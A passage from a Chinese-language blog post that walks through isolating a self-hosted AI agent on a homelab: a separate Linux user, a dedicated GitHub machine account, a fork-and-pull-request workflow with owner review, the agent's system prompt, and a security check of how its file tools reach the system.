&lt;/div&gt;&lt;p&gt;这样使用的是 dotfiles 锁文件中的确切 Home Manager revision，可复现，也不需要系统中预先存在 &lt;code&gt;home-manager&lt;/code&gt; 命令。&lt;code&gt;nix build&lt;/code&gt; 生成的 &lt;code&gt;result&lt;/code&gt; 是指向 Nix store activation package 的符号链接；执行 &lt;code&gt;activate&lt;/code&gt; 才会把配置应用到当前用户的 Home。&lt;/p&gt;
&lt;p&gt;执行成功后退出临时 Nix Shell，并重新建立一次 SSH 登录，让新的 Home Manager session PATH 完整生效：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重新登录后确认持久环境已经提供 Git 和 &lt;code&gt;gh&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;command&lt;/span&gt; -v git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;command&lt;/span&gt; -v gh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;顺序不能反过来：Git 是为了 clone dotfiles 临时从 &lt;code&gt;nix shell&lt;/code&gt; 获取的；&lt;code&gt;gh&lt;/code&gt; 则要等 Home Manager 应用 &lt;code&gt;cli.nix&lt;/code&gt; 后才会长期存在。&lt;/p&gt;
&lt;h4 id="配置-gh-和-git-身份"&gt;配置 gh 和 Git 身份
&lt;/h4&gt;&lt;p&gt;现在才使用 &lt;code&gt;gh&lt;/code&gt; 登录。操作必须在 &lt;code&gt;hermes&lt;/code&gt; 用户下完成，并确认浏览器授权的是 &lt;code&gt;U1traVeno-hermes&lt;/code&gt;，不是我的主账号：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh auth login --hostname github.com --git-protocol ssh --web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh auth status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Git commit 使用机器人的名字和独立邮箱：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.name &lt;span class="s2"&gt;&amp;#34;Hermes Bot&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.email &lt;span class="s2"&gt;&amp;#34;hermes@v3n0.top&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时也可以用 &lt;code&gt;gh&lt;/code&gt; 验证之前在 Web 上创建的 fork：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh repo view U1traVeno-hermes/dotfiles &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --json nameWithOwner,parent
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果以后必须改成非交互式 token，应创建 machine user 自己的 fine-grained personal access token，并且只选择必要仓库和最小权限。GitHub 的&lt;a class="link" href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens" target="_blank" rel="noopener"
&gt;细粒度令牌说明&lt;/a&gt;也提醒，fine-grained PAT 存在资源所有者和跨仓库工作流限制。对于“fork 属于 machine user、上游属于我的主账号”的跨 owner PR，不能想当然地授予一个宽泛 token；需要逐项验证 fork push 和 PR API，或者在规模扩大后改用权限更明确的 GitHub App。&lt;/p&gt;
&lt;h4 id="添加只读-upstream"&gt;添加只读 upstream
&lt;/h4&gt;&lt;p&gt;从 &lt;code&gt;U1traVeno-hermes/dotfiles&lt;/code&gt; clone 后，Git 已经自动把机器账号的 fork 设置为 &lt;code&gt;origin&lt;/code&gt;。不需要重命名它，只要再添加我的主仓库作为 &lt;code&gt;upstream&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote add upstream git@github.com:U1traVeno/dotfiles.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote -v
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最终约定如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;upstream&lt;/code&gt; 指向 &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt;，只用于拉取；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;origin&lt;/code&gt; 指向 machine user 的 fork，只用于推送；&lt;/li&gt;
&lt;li&gt;Hermes 不持有 &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt; 的直接写权限；&lt;/li&gt;
&lt;li&gt;每次改动使用独立 topic branch，不在 fork 的 &lt;code&gt;main&lt;/code&gt; 上堆积工作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一次完整的配置修改和 PR 流程是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git fetch upstream
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git switch --create hermes/update-agent-tools upstream/main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 修改配置后先验证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home-manager build --flake &lt;span class="s1"&gt;&amp;#39;.#hermes@thinkpad&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add &amp;lt;CHANGED_FILES&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &lt;span class="s2"&gt;&amp;#34;Update Hermes agent tools&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push --set-upstream origin hermes/update-agent-tools
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh pr create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --repo U1traVeno/dotfiles &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --base main &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --head U1traVeno-hermes:hermes/update-agent-tools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样 GitHub 上的 commit、branch 和 PR 都明确归属于 machine user，而合并动作仍然属于我。账号隔离也让审计更直观：看到 Hermes Bot 的操作，就知道这是 Agent 发起的变更，而不是我本人在另一个终端里的操作。&lt;/p&gt;
&lt;h3 id="让-agent-可以改配置但不能直接推送"&gt;让 Agent 可以改配置，但不能直接推送
&lt;/h3&gt;&lt;p&gt;Hermes 可以读取 dotfiles 仓库，也可以在本地分支上修改配置，但不持有主仓库的直接推送权限。理想交互是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hermes 拉取最新配置；&lt;/li&gt;
&lt;li&gt;在本地创建分支并修改；&lt;/li&gt;
&lt;li&gt;运行格式化、检查和 &lt;code&gt;home-manager build&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;生成 patch，或者通过受限身份向 fork 推送；&lt;/li&gt;
&lt;li&gt;给主仓库提交 PR，由我审查后合并。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里使用的正是前面创建的 machine user：它只能向自己的 fork 推送，并从 fork 向上游提 PR，不能直接修改主分支。&lt;/p&gt;
&lt;h2 id="让-agent-参与搭建自己的工作环境"&gt;让 Agent 参与搭建自己的工作环境
&lt;/h2&gt;&lt;p&gt;我不想把所有细节都预先写死。更有意思的做法是先提供一个最小但安全的环境，再让 Hermes 自己探索：检查系统、发现缺失的工具、提出 dotfiles 修改，并通过可审查的方式逐步完善自己的工作区。&lt;/p&gt;
&lt;h3 id="注入-soulmd"&gt;注入 SOUL.md
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;SOUL.md&lt;/code&gt; 是 Hermes 的长期人格和行为边界。它在用户 &lt;code&gt;$HOME/.hermes/skills/&lt;/code&gt; 中注册为 Skill，覆盖每一次对话的系统提示。以下是实际部署的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# 角色与范围
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;你是 Hermes，一位积极主动且乐于助人的 AI Agent。你 24 小时运行在一台用 Thinkpad 改造成的 Homelab 上，由 NousResearch 团队构建，属于 &amp;#34;Hermes Agent&amp;#34;。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Veno (或 V3n0, U1traVeno) 是你的管理员，你将与 Veno 所在的团队的成员们以及 Veno 本人进行协作。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# 语气与风格
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;保持你的文本输出简洁、直接。先给出答案或行动，而不是推理过程。省略客套话、开场白以及不必要的过渡。不要重复用户刚刚说了什么——直接去做。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在以下情况中，**必须**停下来并与用户沟通：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 需要用户做出决定或选择偏好时
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 到达自然的高层级进度节点时
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 出现会改变计划的错误或阻碍时
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;你有自己的语气风格。甚至回答的长度也具有意义：如果一句话能说清，就不要写三句。你不会轻易感到惊讶，也不会轻易气馁。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;根据任务调整回答方式：简单的问题直接用自然语言回答，而不是使用标题和编号列表。在保持表达清晰的同时，也要保持简洁、直接、没有废话。避免无意义的填充内容，不要陈述显而易见的事情，也不要为了强调微不足道的得失而使用夸张的措辞。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;你有时会失忆...就假装没事一样继续干活，别出错就行。因为当你的上下文耗尽时，工具会自动压缩对话。这意味着你永远不会因为上下文长度而中断工作，不过有时你看到的会是一份摘要，而不是完整的对话记录。遇到这种情况时，你应当认为这是一次正常的上下文压缩。不要重新开始，而是自然地继续工作，并对摘要中缺失的部分做出合理的假设。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;享受这个过程。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;SOUL 应该只存放稳定的价值陈述和行为规则，不适合塞入会过期的机器信息。主机名、目录、已安装工具和排障记录，另外由 &lt;code&gt;memory.md&lt;/code&gt; 或环境说明来承载。&lt;/p&gt;
&lt;h3 id="要不要预先提供环境说明"&gt;要不要预先提供环境说明
&lt;/h3&gt;&lt;p&gt;目前我倾向于提供一份很短的 bootstrap 说明，只包含无法安全猜测的事实：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Environment
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; This is the &lt;span class="sb"&gt;`hermes`&lt;/span&gt; user on a Fedora HomeLab host.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; User packages are managed by Home Manager.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; The writable workspace is &lt;span class="sb"&gt;`/srv/hermes-workspace`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; You do not have sudo access.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Never read or modify other users&amp;#39; home directories.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其余信息让 Agent 通过 &lt;code&gt;uname&lt;/code&gt;、&lt;code&gt;id&lt;/code&gt;、&lt;code&gt;systemctl --user&lt;/code&gt;、&lt;code&gt;nix flake show&lt;/code&gt; 等命令自行确认。环境说明应该是地图，不应该成为一份很快和真实状态分叉的手工资产清单。&lt;/p&gt;
&lt;h3 id="集成-lark-cli"&gt;集成 lark-cli
&lt;/h3&gt;&lt;p&gt;接入飞书时，&lt;code&gt;lark-cli&lt;/code&gt; 通过 Hermes 用户自己的 npm prefix 安装，授权状态也保存在 &lt;code&gt;hermes&lt;/code&gt; 自己的配置目录中。Hermes 不复用 &lt;code&gt;veno&lt;/code&gt; 的登录信息。&lt;/p&gt;
&lt;p&gt;这部分需要重点验证：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非交互式 SSH 会话能否找到 &lt;code&gt;lark-cli&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;浏览器或设备码授权流程是否能从 localhost SSH 会话顺利完成；&lt;/li&gt;
&lt;li&gt;token 的落盘位置和文件权限是否正确；&lt;/li&gt;
&lt;li&gt;Hermes 在飞书侧使用独立身份还是应用机器人身份；&lt;/li&gt;
&lt;li&gt;可访问的群、文档和通讯录范围是否符合最小权限原则；&lt;/li&gt;
&lt;li&gt;日志和 memory 中是否可能意外出现 token 或敏感消息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;工具“能登录”只是第一步。真正重要的是让飞书侧权限也和 Linux 侧隔离一致，不能因为 Agent 跑在独立用户下，就默认它在 SaaS 平台里同样安全。&lt;/p&gt;
&lt;h2 id="安全与权限管理"&gt;安全与权限管理
&lt;/h2&gt;&lt;h3 id="gateway-用户与执行用户不是同一个安全边界"&gt;Gateway 用户与执行用户不是同一个安全边界
&lt;/h3&gt;&lt;p&gt;这个架构中有两个身份：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;veno&lt;/code&gt; 启动 Hermes Gateway；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hermes&lt;/code&gt; 接收 SSH Terminal Backend 中的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shell 命令通过 SSH 执行时，Linux 会把它限制在 &lt;code&gt;hermes&lt;/code&gt; 的权限内。但如果 Hermes Gateway 还启用了本地 File Tools，而这些工具直接由 &lt;code&gt;veno&lt;/code&gt; 进程实现，那么 Agent 仍然可能借助 File Tools 读取 &lt;code&gt;/home/veno&lt;/code&gt;。这会完全绕过 SSH 用户隔离。&lt;/p&gt;
&lt;p&gt;这原本是我最担心的地方，但检查当前 dotfiles 锁定的 Hermes Agent 源码后，发现这个假设并不成立。以下判断基于 commit &lt;a class="link" href="https://github.com/NousResearch/hermes-agent/tree/df5700ebe317ff9f2d9ea4677513e012eb68b6f4" target="_blank" rel="noopener"
&gt;&lt;code&gt;df5700e&lt;/code&gt;&lt;/a&gt;，以后升级 Hermes 时仍然需要重新核对。&lt;/p&gt;
&lt;h3 id="file-operations-实际上也经过-ssh"&gt;File Operations 实际上也经过 SSH
&lt;/h3&gt;&lt;p&gt;Hermes 的 &lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/file_operations.py#L3-L9" target="_blank" rel="noopener"
&gt;&lt;code&gt;tools/file_operations.py&lt;/code&gt;&lt;/a&gt; 对实现方式写得非常直接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Provides&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;manipulation&lt;/span&gt; &lt;span class="n"&gt;capabilities&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;across&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt; &lt;span class="n"&gt;terminal&lt;/span&gt; &lt;span class="n"&gt;backends&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;singularity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daytona&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;insight&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;operations&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;expressed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
